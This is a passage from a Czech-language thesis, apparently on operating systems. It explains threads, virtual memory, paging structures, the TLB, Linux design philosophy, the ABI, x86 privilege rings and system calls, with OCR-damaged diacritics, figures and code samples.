Skutecny paralelni béh vldken je mozny jen ve vicejadrovych nebo viceprocesorovych
systémech. V systému s jednim procesorem miize byt pomoci planovaciho algoritmu zajis-
téno stiidavé vykonavani vlaken nebo procesi procesorem a je tak vytvotrena iluze paralel-
niho vykonavéani. [73]

‘ kéd | | data ‘ |soubory| | kéd ‘ ‘ data | |soubory ‘
‘ registry | | PC ‘ |zésobn|’k| | registry ‘ ‘ registry | | registry ‘
|zésobn|’k ‘ ‘zésobm’k| | zésobm’k|
| PC ‘ ‘ PC | | PC ‘
vldkno —— ;
<—— vldkno

jednovldknovy proces vicevldknovy proces

Obrazek 2.16: Jednovlaknovy a vicevlaknovy proces. Prevzato ze zdroje [80].

Vicevlaknovy pristup lze ocenit predevsim pii implementaci uzivatelského rozhrani. Pti
kliknut{ na tla¢itko mize byt zahdjena Casové narocna operace v samostatném vlakné a tim
je zajisténa odezva uzivatelského rozhrani i béhem jejiho provadéni. Bez pouziti vlaken by
aplikace prestala reagovat na piikazy uzivatele po dobu vykonavani této operace.

VIdkna maji oproti procestim nasledujici vyhody:

e Snazsi komunikace mezi vlakny.

e Jejich vytvareni spotfebuje méné paméti a casu.

¢ Rychlejsi prepinani kontextu.

Nevyhodou pri pouziti vicevlaknového pristupu je skutecnost, ze chyba v jednom vlakné

muze ovlivnit béh procesu.
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2.6 Virtualni pameét

Konceptu virtualni paméti vyuziva rada modernich opera¢nich systémi mezi které patii
napiiklad Linux, Windows nebo MacOS. [76]

2.6.1 Systém nevyuzivajici koncept virtualni paméti

Na obrazku 2.17 je uveden fiktivni systém, ktery nevyuziva konceptu virtualni paméti.
Takto funguji nékteré operac¢ni systémy typu RTOS nebo starsi operac¢ni systémy mezi
které patri napiiklad DOS.

e 64 MIB
(O
Ovladace
Knihovny
App 2
App 1
ER 44— MB

Obrazek 2.17: Fyzickd pamét fiktivniho systému. Prevzato ze zdroje [76].

Velikost paméti RAM tohoto systému je 64 MB. Adresovy prostor této paméti je sdilen
opera¢nim systémem, ovladaci, knihovnami a dvéma aplikacemi. V nékteré z aplikaci se
muze nachazet neimyslna nebo imyslna chyba. V ramci kédu aplikace Appl muze dojit k
vyskytu chyby, kterda by zpusobila prekopirovani napiiklad 1000 bajtd z paméti vyhrazené
pro aplikaci Appl do pamétového prostoru vyhrazeného pro opera¢ni systém. V tom pripadé
by doslo k poskozeni operacniho systému a naslednému padu celého systému.

2.6.2 Systém vyuzivajici konceptu virtualni paméti

V tomto systému ma kazdy proces vyhrazenu svou virtualni pamét, kterd se oznacuje jako
virtudlni adresovy prostor (dale jen VAS). Tyto vyhrazené virtudlni paméti jsou izolované a
procesy nemohou pristupovat do virtualnich paméti ostatnich procesii. Na obrazku 2.18 je
uveden preklad virtualnich adres na fyzické adresy. Napiiklad virtualni adresa val procesu
P1 je mapovana na fyzickou adresu pal v paméti RAM.
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P1:va2 [:

Proces P1

P1:valT

P2:va2

Proces P2

[K’l:val

/:, P2:va2

Proces Pn

FPl:val

m Pl:pa2

Pl:pal

P2:pa2

P2:pal Pn:pal

Obrazek 2.18: Preklad virtualnich adres na fyzické adresy RAM. Prevzato ze

zdroje [76].

Pieklad virtudlnich adres na fyzické provadi hardwarovéa jednotka MMU (Memory Ma-

nagement Unit) uvedend na obrazku 2

logicka

adresa
CPU |—

Obrazek 2.19: Preklad logickych adres na fyzické. Prevzato ze zdroje [80].

V pripadé, ze velikost paméti RAM nestac¢i pro ulozeni dat nachazejicich se ve VAS
procest, je pouzit diskovy oddil oza¢novany jako swap, ktery slouzi jako pamét RAM druhé

RAM

.19. [80]
fyzicka
adresa
MMU -

fyzicka
pamét

urovné. Pamétova hierarchije je uvedena na obrazku 2.20.
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CPU
paméti cache
Rychlost

RAM

Swap

Velikost

Obrézek 2.20: Pamétova hierarchie. Prevzato ze zdroje [76].

Smérem k horni ¢asti pyramidy roste rychlost a cena, ale klesa velikost paméti. Smérem
k dolni ¢asti pyramidy klesa cena a rychlost, ale roste velikost paméti.

Ulozeni informaci o mapovani jednotlivych bajtii nebo slov by bylo pamétové velice
naroc¢né. Virtudlni i fyzickd pamét je rozdélena na bloky a opera¢ni systém si nasledné
udrzuje informace o mapovani téchto blokti. Rozdéleni paméti na bloky je mozné realizovat
dvéma zpusoby:

e segmentace - virtudlni a fyzickd pamét je rozdélena na bloky libovolné velikosti nazy-
vané segmenty.

e strankovani - virtualni i fyzickd pamét je rozdélena na bloky stejné velikosti. Bloky
virtudlni paméti se oznacuji jako stranky a bloky fyzické paméti se oznacuji jako
ramce.

O pouzitém schématu nerozhoduje vyvojar operacniho systému, ale jednotka MMU.

2.6.3 Vyhody pri vyuziti virtualni pameéti

Virtudlni pamét prindsi urcitou rezii, kterou zmirnuje hardwarova akcelerace a vyhody
pouziti virtudlni paméti prevazuji nad snizenim vykonu.

Procesy nemohou pristupovat do pamétovych oblasti jinych procesu a programéator tedy
nemusi Tesit problém uvedeny v kapitole 2.6.1. Pri pristupu procesu A a B na virtudlni
adresu Ox10ea budou oba tyto procesy ve skutecnosti pristupovat na rozdilné fyzické adresy.

Dalsi vyhodou je moznost ochrany pamétovych oblasti v rameci virtudlni paméti.

2.7 Strankovani

V této sekci je vysvétlen koncept strankovani, ktery umoznuje vytvoreni virtualni paméti
procesu.

2.7.1 Zakladni metoda strankovani

VAS procesu i fyzickd pamét je rozdélena na stejné velké bloky paméti. VAS procesu je
rozdélen na bloky nazyvajici se stranky a fyzickd pamét je rozdélena na bloky nazyvajici se
ramce. Stranky se nasledné mapuji na ramce. Procesor generuje logickou adresu uvedenou
na obrazku 2.21. [80]
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Cislo stranky posun uvnitf stranky
p d

Obrazek 2.21: Logicka adresa generovana procesorem pri pouziti zdkladni metody
strankovani. Prevzato ze zdroje [80].

V adrese se nachazi ¢islo stranky a posun v ramci stranky. Na obrazku 2.22 je uveden
preklad logické adresy generované procesorem na fyzickou adresu pomoci tabulky stranek.
Kazdy proces ma svou vlastni tabulku stranek udrzovanou v ramci opera¢niho systému.
Ukazatel na tabulku stranek je ulozen ve strukture PCB.

ramec e
logickd adresa fyzickd adresa 0x000
d
CPU j) d ‘ £ ‘ d ramec f
p - Oxfff
f rdmec g

fyzickd pamét
tabulka stranek

Obrazek 2.22: Preklad logické adresy na fyzickou adresu pomoci tabulky stranek
pri pouziti zdkladni metody strankovani. Prevzato ze zdroje [80].

Preklad logické adresy na fyzickou zajistuje hardwarova jednotka MMU. Pii prekladu
pouzije jednotka MMU ¢islo stranky jako index do tabulky stranek. Na tomto indexu se
nachézi ¢islo ramce, na ktery je stranka namapovana. Cislo ramce spolu s posunem tvoii
fyzickou adresu nachdazejici se na vystupu jednotky MMU. Na obrazku 2.23 je uvedeno
mapovani stranek na rdmce pomoci tabulky stranek.
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logicka pamét 16
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b
c
d
24 | ©
f
g
h
28

fyzicka pamét

Obrazek 2.23: Mapovani stranek na ramce pomoci tabulky stranek. Prevzato ze
zdroje [80].

Logicka adresa 0 se nachdazi ve strance 0. V tabulce stranek je uvedeno, ze stranka 0 je
namapovana na ramec 5, ktery zac¢ina na adrese 20. Logickd adresa 0 se tedy nachazi na
fyzické adrese 20. Dalsim ptikladem je logicka adresa 5 nachazejici se ve strance 1. Stranka
1 je namapovana na ramec 6, ktery za¢inad na adrese 24. Posun ve strance je roven 1. Po
pri¢teni posunu je fyzickd adresa rovna hodnoté 25.

Operacni systém si dale musi uchovavat informace o alokovanych a volnych ramcich ve
fyzické paméti. Pro tento tcel slouzi datova struktura nazvana tabulka ramct. Operac¢ni
systém udrzuje pouze jednu tabulku ramcu.

2.7.2 Hardwarova podpora strankovani

Pri prekladu logické adresy na fyzickou je nutné pristoupit do fyzické paméti na adresu,
kde zac¢ina tabulka stranek. Tato adresa je uloZena v registru procesoru, priCemz nazev
tohoto registru je PTBR (page-table base register). Po nalezeni ¢isla rdmce je vytvorena
fyzicka adresa. Pro ziskani dat je tedy nutné dvakrat pristoupit do fyzické paméti. Jeden
pristup je nutny pro ziskani ptrekladu d¢isla stranky na Cislo rdmce a druhy piistup pro
ziskani dat. Zpozdéni zptisobené témito dvéma pristupy je netnosné. Pieklad ¢isla stranky
na ¢islo rdmce je urychlen asociativni rychlou vyrovnavaci paméti TLB (translation look-
aside buffer) uvedenou na obrazku 2.24, kterd se nachdzi v instrukéni pipeline procesoru.
[80]
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tabulka stranek
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Obrézek 2.24: Asociativni vyrovnavaci pamét TLB. Prevzato ze zdroje [80].

Polozku nachézejici se v TLB tvori klic a hodnota, pricemz klicem je ¢islo stranky
a hodnotou je ¢islo ramce. Polozka v TLB je nalezena na zakladé klice. Pii vyhleddvani
polozky je hledany kli¢ porovnan se vSemi kli¢i polozek v TLB zaroven. V pripadé, ze v TLB
neni nalezen preklad ¢isla stranky na ¢islo ramce, je nutné vyhledat preklad v tabulce
stranek ve fyzické paméti a nasledné jej vlozit do TLB a vytvorit fyzickou adresu. Pri
nalezeni prekladu v TLB je mozné ihned vytvorit preklad logické adresy na fyzickou bez
pristupu do fyzické paméti, ¢imz dochazi ke zrychleni prekladu.

V polozkéich nékterych TLB muze byt ulozen i identifikdtor adresniho prostoru ASID
(address-space identifier) slouzici pro uceni, zda proces pristupuje k datiim nachazejicim se
v jeho VAS a ne k dattim jiného procesu. Stranky nachézejici se ve VAS jednoho procesu
maji stejnou hodnotu ASID. TLB tedy muze obsahovat preklady rtznych procesi. Bez in-
dentifikatoru ASID by bylo nutné pti kazdém prepnuti kontextu odstranit vsechny preklady
z TLB.

Na modernich procesorech se muze nachazet nékolik irovni TLB.

2.7.3 Urovné ochrany stranky

Pro stranku definovat trovné ochrany uvedené v tabulce 2.1.

Uroveii ochrany stranky | Vyznam
Z4adna Se strankou je mozné délat cokoliv
Cteni Ze stranky je mozné Cist
Zapis Do stranky je mozné zapisovat
Spusténi Kéd ulozeny ve strance muze byt spustén

Tabulka 2.1: Urovné ochrany stranky. Pievzato ze zdroje [76].
Vychozi trovni opravnéni stranky je RW (Read-Write), coz znamend, Ze ze stranky

je mozné Cist a zapisovat do ni. Diky systémovym volanim mmap a mprotect je mozné
vychozi Groven opravnéni stranky zménit. Jednotka MMU pii kazdém ptistupu ke strankam
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kontroluje, zda nedochézi k poruseni trovné ochrany stranky. V pripadé pristupu pro zapis
na strance urcené pouze pro ¢teni by jednotka MMU vyvolala vyjimku. Operacni systém by
spustil obsluzny kéd vyjimky a v pripadé, ze se opravdu jedna o chybny pristup, je ukonéen
proces provadéjici tento pristup. [76]

2.7.4 Sdilené stranky

Pomoci sdilenych stranek miize byt napiiklad sdilen kéd knihoven pouzivany vice procesy
¢imz je uSetfeno misto ve fyzické paméti. Kéd nachdazejici se ve sdilenych strankach musi
byt reentrantni. Reentrantni koéd je takovy, ktery se béhem provadéni programu neméni.
Ko6d knihovny libc je vyuzivan mnoha procesy v opera¢nim systému Linux. Na obrazku
2.25 jsou uvedeny tfi procesy sdilejici stranky libc 1 az libc 4, ve kterych se nachézi kod
této knihovny. Tabulky stranek obsahuji mapovani téchto sdilenych stranek na ramce ve
fyzické paméti. [80]

libc 1 0
libc 2
11 libca
libc 3
2
libc 4
tabulka libc 1 3 libc 1
stranek pro P,
proces P, lizs 2 | 4] 4| libc2
libc 3 E 5
libc 4 -] e
’ tabulka
libc 1 stranek pro P,
libc 2 proces P,
libc 3 8
libc 4 9
tabulka
stréanek pro P, fyzickd pamét
proces P;

Obrézek 2.25: Sdileni stranek mezi procesy. Pfevzato ze zdroje [80].

2.7.5 Struktura tabulky stranek

V této sekci jsou uvedena nejc¢asteji pouzivand strukturovani tabulek stranek.

Hierarchické tabulky stranek

Nevyhodou zadkladni metody strankovani je velikost tabulky stranek. Ve 32-bitovém sys-
tému, ve kterém ma VAS kazdého procesu 4GB by velikost tabulky stranek kazdého pro-
cesu byla 4 MB. Jednim z moznych feSeni tohoto problému je pouziti dvoutiroviové tabulky
stranek uvedené na obrazku 2.26. [80]
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Obrézek 2.26: Dvoutroviiova tabulka strianek. Prevzato ze zdroje [80].
Tabulka stranek je rozdélena na vnéjsi tabulku stranek a vnitini tabulku stranek. Vnitini

tabulka stranek je tvofena strankami. Pro dvoutroviovou tabulku stranek je pii adresovani
pouzita 32-bitova adresa uvedena na obrazku 2.27.

Cislo stranky posun uvnitf stradnky
P1 P2 d
10 10 12

Obrazek 2.27: Adresa pro dvoutroviiovou tabulku stranek. Prevzato ze zdroje
[80].

Cést pl1 je index ve vnéjsi tabulce stranek, na kterém se nachdzi adresa nékteré ze
stranek tvoifci vnitini tabulku stranek. Cast p2 je offset ve strance tvorici vnitini tabulku
stranek, na kterém se nachdzi adresa stranky s daty. Cést d je offset ve strance obsahujici
adresovana data. Preklad adresy je zndzornén na obrazku 2.28.

logickd adresa

Pr [ P [ d|

o]
=

vnéjsi tabulka d
strdnek {

stranka tabulky
stranek

Obrazek 2.28: Preklad adresy pro dvoutiroviiovou tabulku stranek. Prevzato ze
zdroje [80].

Pro 64-bitovou architekturu je tato metoda nevhodné, protoze je znac¢né prodlouzena
doba prekladu adresy kvili vyssimu poctu pristupt do paméti.
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Hasované tabulky stranek

Tento typ tabulky stranek uvedeny na obrazku 2.29 vyuziva hasovaci tabulky. Cislo stranky
je vlozeno do hasovaci funkce. Vystupem hasovaci funkce je index do hasovaci tabulky, na
kterém je ukazatel na prvni prvek seznamu polozek tabulky stranek namapované na stejny
index hasovaci tabulky. Polozky v seznamu obsahuji ¢islo stranky, ¢islo ramce a ukazatel na
dalsi polozku. Prichodem seznamu je nalezena polozka s prekladem cisla stranky na ¢islo
ramce. Pomoci ¢isla rdmce je nasledné vytvorena fyzicka adresa. [80]

fyzicka
adresa

logicka adresa

hasovaci
funkce

fyzicka pamét
— |q|s|'T|_T|p| r|i_|1°--

hasovaci tabulka
Obrézek 2.29: Hasovana tabulka stranek. Prevzato ze zdroje [80].

Podobnou variantou jsou shlukové tabulky stranek vyuzivané na 64-bitové architekture.
Polozka ve shlukové tabulce stranek obsahuje vice mapovani stranek na ramce a ne jen
jednu.

Invertované tabulky stranek

Preklad z logické adresy na fyzickou adresu pomoci invertované tabulky stranek je uveden
na obrazku 2.30. [80]

logicka adresa fyzicka
adresa o3
i : fyzicka
CPU
—pd[p[d] [i]d i
vyhledévénil I }i
pid| p

tabulka stranek
Obrézek 2.30: Invertovana tabulka stranek. Prevzato ze zdroje [80].

Logicka adresa je tvorena identifikdtorem adresniho prostoru oznaceného jako pid, ¢islem
stranky a posunem. Identifikdtorem adresniho prostoru je mozné odlisit VAS procest a v
systému je jen jedna tabulka stranek. Pii prekladu je v tabulce stranek vyhledana polozka
se shodnym identifikdtorem adresniho prostoru a ¢islem stranky jako je v prekladané logické
adrese. Po nalezeni polozky je index této polozky v tabulce stranek pouzit jako ¢islo ramce.
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Nevyhodou této metody je nemoznost pouziti sdilenych stranek. Dalsi nevyhodou je, ze
pro vyhledani polozky v tabulce stranek muze byt nutné prohledani celé tabulky coz miize
zna¢né prodlouzit dobu prekladu. Vyhodou je mensi mnozstvi paméti zabrané tabulkou
stranek.
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Kapitola 3
Operacni systém Linux

Kapitola se vénuje filozofii a architektute opera¢niho systému Linux. Pro lepsi pochopeni
architektury je uvedena funkce procesoru a vyznam aplika¢niho binarniho rozhrani.

3.1 Filozofie operacniho systému Linux

Operacni systém Linux vychazi z operacniho systému UNIX a sdili spolu sviij design, filozofii
a architekturu. Zde jsou uvedeny body, kterymi se fidi design, filozofie a architektura téchto
dvou operacnich systému:

e Vse je bud proces nebo soubor.

o Kazdy nastroj je vytvoren pro jediny ucel.

¢ Dva standardni vystupy a jeden standardni vstup.

e Je mozné bezproblémové kombinovani vice nastroju.

e Prednostné je pouzit prosty text.

e Rozhrani ptikazového radku je preferované pred grafickym uzivatelskym rozhranim.
« Cisty, elegantni a srozumitelny zdrojovy kéd.

e Mechanizmus preferovany pred politikou.

Pri dodrzovani téchto zasad budou aplikace snadno udrzovatelné, jednoduché a budou
mit ¢isty a elegantni design. [76] [19]

3.1.1 Vse je bud proces nebo soubor

Proces predstavuje spustény program, jak bylo uvedeno drive. Soubor je objekt, ktery se
nachézi v souborovém systému. Souborem muze byt naptiklad adresaf, pojmenovana roura,
soubor s prostym textem nebo bindrnim obsahem. Klavesnice, mysi a dalsi periferni zari-
zeni mohou byt také reprezentovana jako soubory, diky kterym je mozné s témito zarizenimi
pracovat pomoci béznych souborovych API diky vrstvé jadra, ktera se nazyva prepinac vir-
tualnich souborovych systému (VFS). Soubory reprezentujici periferni zafizeni se nazyvaji
soubory zafizeni.
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3.1.2 Kazdy néastroj je vytvoren pro jediny tcel

Pri vyvoji nastroje by se mél programator vyhnout snaze o co nejuniverzalnéjsi nastroj.
Kazdy nastroj by mél vykonavat pouze jeden kol a to takovym zpusobem, Ze to zadny jiny
nastroj nedéla 1épe. Prikladem miize byt zjisténi aktualné pripojeného souborového systému
s nejvétsim mnozstvim volného mista. Pro ziskani vypisu aktualné pripojenych souborovych
systémul lze pouzit nastroj df. Pro odstranéni hlavicky z vypisu lze pouzit nastroj sed. K
sefazeni souborovych systému lze pouzit nédstroj sort. K tomuto tkolu byly zapotrebi tii

vvvvv

ukoly.

3.1.3 Dva standardni vystupy a jeden standardni vstup

Kazdy proces ma po spusténi oteviené tfi standardni soubory identifikované popisovacem
souboru. Popisova¢ souboru je celociselnd hodnota identifikujici otevieny soubor. V dalsim
textu je popisova¢ souboru popsan zkratkou fd. Témito soubory jsou:

o Standardni vstup neboli stdin (fd = 0). V defaultnim nastaveni tento soubor repre-
zentuje klavesnici.

o Standardni vystup neboli stdout (fd = 1). V defaultnim nastaveni tento soubor re-
prezentuje monitor.

o Standardni chybovy vystup neboli stderr (fd = 2). V defaultnim nastaveni tento
soubor reprezentuje monitor.

Oba vystupy a vstup lze pfesmérovat pomoci operatoru <, > a 2> na jiné soubory nebo
zarizeni. Operator < slouzi pro presmérovani standardniho vstupu. Operator > slouzi pro
presmérovani standardniho vystupu a operator 2> slouzi pro presmérovani standardniho
chybového vystupu.

3.1.4 Je mozné bezproblémové kombinovani vice nastroji

Snadné kombinace vice nastroju je moznd pomoci konceptu zvaného roura. Roura je me-
chanizmus meziprocesové komunikace a v piikazu je zapsédna znakem "|". Pro zkombinovani
nastroje t1 a nastroje t2 muzeme pouzit nasledujici piikaz: t1 | t2. Standardni vstup néa-
stroje t1 je v defaultnim nastaveni klavesnice. Standardni vystup néastroje t1 je pfesmérovan
na standardni vstup nastroje t2. Standardni vystup t2 je v defaultnim nastaveni monitor.
Bez pouziti rour by mohlo byt nutné pouziti doc¢asnych soubort, coz by zkompikovalo kom-
binaci nastorji. Reseni bez pouziti rour by bylo méné vykonné z divodu zépisu dat do
docasného souboru na disk.

3.1.5 Prednostné je pouzit prosty text

Programy jsou prednostné navrzeny pro praci s prostym textem, coz zjednodusuje jejich
architekturu a navrh. Piikladem muze byt konfiguracni soubor analyzovany pfi spusténi
programu. Tento soubor miize byt jak v binarni, tak i v textové podobé naptiklad ve
formatu XML. Soubor ve formatu XML je snadno ¢itelny a rozdily v rychlostech nacitani
binarniho a textového souboru jsou minimalni.
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3.1.6 Rozhrani prikazového radku je preferované pred grafickym uziva-
telskym rozhranim

Programy jsou prednostné navrzeny pro praci v rezimu prikazového radku a implementace
grafického uzivatelského rozhrani je volitelnd. Pri ndvrhu programu je dobrym postupem
oddéleni aplikac¢ni logiky aplikace od uzivatelského rozhrani.

3.1.7 Cisty, elegantni a srozumitelny zdrojovy kéd

Na vyvoji operacniho systému se podili fada programétori. Je tedy kladen diraz na ¢isty,
elegantni a srozumitelny zdrojovy kéd.

3.1.8 Mechanizmus preferovany pred politikou

Tento princip lze pochopit na dvou funkcich, které fesi prihlaseni uzivatele. Funkci pro kon-
trolu hesla je check_pass. Funkce login vola funkci check pass a vrati chybu v pripadé, ze
uzivatel zadal trikrat za sebou Spatné heslo. Funkce check pass fesi mechanizmus a funkce
login fesi politiku. Politikou je v tomto pripadé pocet zadanych hesel. Funkce by mohla
vratit chybu pri péti Spatné zadanych heslech, ¢imz by se zmeénila politika, ale kontrola
spravnosti hesla ve funkci check pass by se nezménila. Kontrola spravnosti hesla predsta-
vuje mechanizmus.

3.2 Koncepty potirebné pro pochopeni architektury operac-
niho systému Linux

Pro pochopeni architektury je nejprve nutné si vysvétlit funkci procesoru. Déle je nutné
pochopit co je aplika¢ni bindrni rozhrani procesoru (ABI - application binary interface)
a urovné operdvnéni procesoru. [76]

3.2.1 Co je to procesor

Procesor (CPU - Central Processing Unit) je HW zafizeni, které je srdcem pocitace. Pfi pre-
kladu uzivatelského programu napsaného naptiklad v jazyce C vzniknou instrukce. Procesor
nacita tyto instrukce, dekéduje a vykonava. Pri téchto ¢innostech vyuziva sady registru,
aritmeticko-logické jednotky a perifernich zarizeni. [22]

3.2.2 Aplikaéni binarni rozhrani procesoru

Po napsani programu napiiklad v jazyce C je nutné jej prevést na spustitelny soubor s in-
strukcemi uréenymi pro procesor. Pro prevod programu na spustitelny soubor jsou vyuzity
ruzné nastroje. Mezi tyto nastroje patii prekladac, linker a dalsi. Instrukce jsou nacitéany
a vykonavany procesorem. Popis forméatu instrukci je uveden v dokumentu popisujicim
fungovani procesoru. Nézev tohoto dokumentu je aplika¢ni bindrn{ rozhrani (ABI - appli-
cation binary interface). ABI popisuje také sadu registri procesoru, konvenci voldni funkei,
format spustitelného souboru a dalsi. Ve vypise 3.1 je uveden jednoduchy program v ja-
zyce C slouzici pro ilustraci prekladu programu na spustitelny soubor obsahujici strojové
instrukce. [1]
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int main() {

int variable = 5;

printf ("Hello, world!\n"); exit(0);
}

Vypis 3.1: Jednoduchy program v jazyce C prekladany na strojové instrukce

Ziskani informaci ze spustitelného souboru je mozné pomoci nastroje objdump. Ve vy-
stupu nastroje objdump jsou prolozeny strojové instrukce, jazyk assembleru a prikazy pro-
gramovaciho jazyka. Cast vystupu nastroje objdump je uveden ve vypise 3.2.

./hello_d: file format elf64-x86-64
Disassembly of section .init:

0000000000400418 <_init>:
400418: 48 83 ec 08 sub $0x8,%rsp

000000000040057d <main>:
#include <stdio.h>
#include <stdlib.h>

int main()
{
40057d: 55 push Y%rbp
40057e: 48 89 eb5 mov %rsp,%krbp
400581: 48 83 ec 10 sub $0x10,%rsp
int variable = b5;
400585: c7 45 fc 05 00 00 00 movl $0x5,-0x4 (%rbp)
printf("Hello, world!\n");
40058c: bf 30 06 40 00 mov $0x400630,%edi
400591: e8 ba fe ff ff callg 400450 <puts@plt>
exit (0);
400596: bf 00 00 00 00 mov $0x0,%edi
40059b: e8 e0 fe ff ff callg 400480 <exit@plt>

Vypis 3.2: Vystup nastroje objdump

Ve vypisu je uveden piikaz pro pritazeni hodnoty 5 do proménné wariable. V tabulce
3.1 je uveden preklad tohoto prirazeni na strojovou instrukci a prikaz v jazyce assembleru.

Jazyk C Jazyk assembleru | Strojova instrukce
int variable = 5 | movl $0x5,-0x4(%rbp) | ¢7 45 fc 05 00 00 00

Tabulka 3.1: Preklad prikazu prirazeni
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3.2.3 Urovné opravnéni procesoru

Neékteré registry procesoru nastavuji kritické funkce. Napriklad pomoci registru CRO proce-
soru Intel je mozné vypnout nebo zapnout HW strankovani, vypnout ochranu proti zapisu
na strankich paméti oznacenych opera¢nim systémem pouze pro ¢teni a dalsi. Tento re-
gistr by mohl byt snadno zneuzitelny v piipadé, ze by procesor slepé nacital a vykonaval
instrukce. Z toho duvodu byly do procesoru zavedeny trovné opravnéni. V modernich pro-
cesorech existuje podpora minimélné dvou trovni opravnéni:

e Supervisor

o User

Procesor ma v ur¢itém okamziku nastavenu uréitou droven opravnéni, pricemz na této
nastavené drovni jsou provadény aktuidlné nactené instrukce. Aktualné nastavena droven
opravnéni na procesoru se podle terminologie Intel nazyvda CPL (Current Privilege Level).
Architektura instrukéi sady procesoru (ISA) specifikuje pro kazdou instrukei tirover na jaké
lze instrukci vykonat. Vyvojari operac¢niho systému mohou téchto trovni libovolné vyuzivat,
pricemz kéd operacniho systému je vykonavan pii nejvyssi arovni opravnéni. Vyznam dvou
vyse uvedenych trovni je shrnut v tabulce 3.2. [30]

Nazev arovné Uroven Ucel Terminologie
opravnéni opravnéni
Supervisor Vysoka Zde je provadén Prostor jadra
kéd operacniho
systému
User Nizka Zde bézi Uzivatelsky prostor
kéd uzivatelské
aplikace

Tabulka 3.2: Zakladni drovné opravnéni. Prevzato ze zdroje [76].

Redlnym prikladem mohou byt procesory Intel s architekturou x86 podporujici ¢tyri
drovné opravnéni nebo také kruhy, jejichz nazvy jsou Kruh 0, Kruh 1, Kruh 2 a Kruh 3.
Nejvyssi troven se nazyva Kruh 0 a nejnizsi se nazyva Kruh 3. Tyto drovné jsou uvedeny
na obrazku 3.1.

>

Privilegium

Obrazek 3.1: Urovné opravnéni procesorii Intel x86. Pievzato ze zdroje [76].

Vyznam téchto Ctyr trovni je uveden v tabulce 3.3.
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Nézev tirovné opravnéni | Uroveii opravnéni Ucel
Kruh 0 Nejvyssi Zde je provadén
kéd operacniho
systému
Kruh 1 < ring 0 Nepouzito
Kruh 2 < ring 1 Nepouzito
Kruh 3 Nejnizsi Zde bézi
kéd uzivatelské
aplikace

Tabulka 3.3: Urovné opravnéni procesorii Intel x86. Pievzato ze zdroje [76].

Urovné opravnéni Kruh 1 a 2 slouzily diive pro béh kédu ovladadt zaifzeni. K tomuto
ucelu dnes vyuzivaji opera¢ni systémy troven opravnéni Kruh 0.

V tabulce 3.4 jsou uvedeny dvé instukce a zaroven je u kazdé instrukce specifikovana
aroven, na které lze instrukci na procesoru provést.

Instrukce | Povolena pti trovni opravnéni | CPL Je provedena?
fool Kruh 0 Kruh 0 | Ano

Kruh 3 | Ne
foo2 Kruh 3 Kruh 0 | Ano

Kruh 3 | Ano

Tabulka 3.4: Urovné opravnéni - piiklad. Pievzato ze zdroje [76].

Instrukci proveditelnou pri drovni Kruh 3 je automaticky mozné povazovat za pro-
veditelnou i pri drovni Kruh 0. Instrukce proveditelna pti opravnéni Kruh 0 nemusi byt
proveditelna pii trovni Kruh 3.

Po spusténi aplikace vznikne proces jehoz instrukce jsou vykovavany pii Grovni oprav-
néni Kruh 3. Program uvedeny ve vypisu 3.3 je po spusténi ukoncen s chybou segmentation
fault. Pokus o pristup k registru CRO zptisobi na procesoru chybu GPF (General Protection
Fault). K tomuto registru maji pfistup pouze instrukce vykonavané na procesoru, ktery ma
aktualné nastavenou turoven opravnéni Kruh 0. K fidicim registrim, mezi které patii i
registr CRO, méa pristup pouze kéd opera¢niho systému nebo kéd jadra.

typedef unsigned long u64;
static u64 get_cr0(void)
{ /* Pro Tip: x86 ABI: query a register’s value by
* moving it’s value into RAX.
* [RAX] is returned by the function! */
__asm__ __volatile__("movq %cr0, Y%rax");
/* at&t syntax: movq <src_reg>, <dest_reg> */ }
int main(void)
{
printf ("Hello, inline assembly:\n [CRO] = Ox%lx\n", get_cr0Q));
exit(0);

}
Vypis 3.3: Program pfistupujici k fidicimu registru CRO. Pfevzato ze zdroje [76]
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3.3 Architektura systému Linux

e N\
Aplikace

e <
Knihovny

> <

glibc / Rozhrani systémovych volani
(System Call Interface SCl)

A

Jadro operacniho systému, ovladace, atd.

A

\
>

Hardware vrstva

Obrézek 3.2: Zjednodusena architektura systému Linux. Prevzato ze zdroje [76].

Na obrazku 3.2 jsou uvedeny vrstvy tvorici architekturu systému Linux. Kazda vrstva
se stard jen o vrstvu, kterd se nachézi primo nad ni a pod ni. Tento pfistup zjednodusuje
architekturu, umoznuje zavadéni novych vrstev a umoznuje vyménu vrstev. Na nasledujicim

Vv,

obrazku 3.3 je uvedena detailnéjsi architektura spolu s Grovnémi opréavnéni procesoru. [76]

UZivatelsky rezim / UZivatelsky prostor
Aplikace (procesy)
P1 P72 e e e (Pn
|
| ool

Knihovn
y e oo Lib AP
x86: Kruh 3
[U Glibc APIs+System Call Interfaces SysCall API
K { CPU
Zim j3 i3 Pl x86: Kruh 0
ReZim jadra / prostor jadra: “KemelARl

jadro operacniho systému, ovladace zafizeni, atd.

Obrazek 3.3: Detailnéjsi architektura systému Linux s tirovnémi opravnéni. Pre-
vzato ze zdroje [76].

Symboly P1, P2 az Pn oznacuji uzivatelské procesy. Tyto procesy predstavuji spusténé
uzivatelské aplikace s drovni opravnéni Kruh 3. Kéd jadra je spustén s trovni opravnéni
Kruh 0. Uzivatelskou aplikaci muze byt napriklad textovy editor nebo webovy prohlizec.

3.3.1 Knihovny

Knihovny predstavuji kolekce kédu, diky kterym neni tfeba neustale vyvyjet jiz vymyslené
algoritmy. Moznost pouziti knihoven také napomahd modularité kédu. Jako priklad miize
poslouzit funkce printf, jejiz kéd se nachazi v knihovné GNU libe (glibc). Tato knihovna ob-
sahuje vedle standardnich funkci také systémova volani slouzici jako programovaci rozhrani
operacniho systému, coz z ni ¢ini kritickou a povinnou soucast systému Linux.
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3.3.2 Systémova volani

V ramci jadra se nachazi tisice funkci. Nékteré z téchto funkci je mozné volat z uzivatel-
ského prostoru prostirednictvim funkci dostupnych v knihovné glibc. Funkce jadra, kterou
je mozné volat z uzivatelského prostoru se nazyva systémové volani. Systémova volani pred-
stavuji jediny vstupni bod do jadra, pricemz poskytuji uzivatelskym procesum sluzby jako
je napriklad zapis dat do souboru. Prikladem funkce prostfednictvim které je mozné volat
funkci v jadre je read, write nebo také open. Tyto funkce se také oznacuji jako systémova
volani a jsou dotupné v knihovné glibc. Po jejich volani z uzivatelského kédu je do registru
procesoru vlozeno ¢islo systémového volani a do dalsich registri jsou vlozeny parametry.
Nésledné je na procesoru vykonana specializovand instrukce, ktera prepne tiroven opravnéni
na Supervisor a nasledné je vykonana pozadovana funkce v jadre. Nékteré z téchto speciali-
zovanych instrukei jsou uvedeny v tabulce 3.5. Po dokonceni kddu jadra je tiroven opravnéni
